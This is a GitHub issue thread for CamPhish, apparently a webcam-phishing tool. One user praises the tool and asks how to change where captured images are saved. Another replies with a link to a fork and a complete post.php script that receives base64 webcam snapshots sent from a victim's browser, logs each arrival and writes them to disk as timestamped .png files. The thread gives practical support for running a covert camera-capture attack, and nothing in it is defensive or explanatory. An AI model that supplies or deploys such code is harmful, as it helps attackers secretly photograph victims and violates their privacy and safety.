Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HOW TO CHANGE DOWNLOADED IMAGE DIRECTORY? #151

Open
Rootman55 opened this issue Feb 5, 2023 · 1 comment
Open

HOW TO CHANGE DOWNLOADED IMAGE DIRECTORY? #151

Rootman55 opened this issue Feb 5, 2023 · 1 comment

Comments

@Rootman55
Copy link

Great tool everything working fine for me at the moment just wondering how to change the default directory where the .png file saves.Thanks for your time

@krittakondev
Copy link

you can use this fork https://github.com/krittakondev/CamPhish
or use change this code in post.php

<?php

$date = date('dMYHis');
$imageData=$_POST['cat'];
$output_dir="out/";

if (!empty($_POST['cat'])) {
error_log("Received" . "\r\n", 3, "Log.log");

}

$filteredData=substr($imageData, strpos($imageData, ",")+1);
$unencodedData=base64_decode($filteredData);

if (!file_exists($output_dir)) {
    mkdir($output_dir, 0777, true);
}

$fp = fopen( $output_dir.'cam'.$date.'.png', 'wb' );
fwrite( $fp, $unencodedData);
fclose( $fp );

exit();
?>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants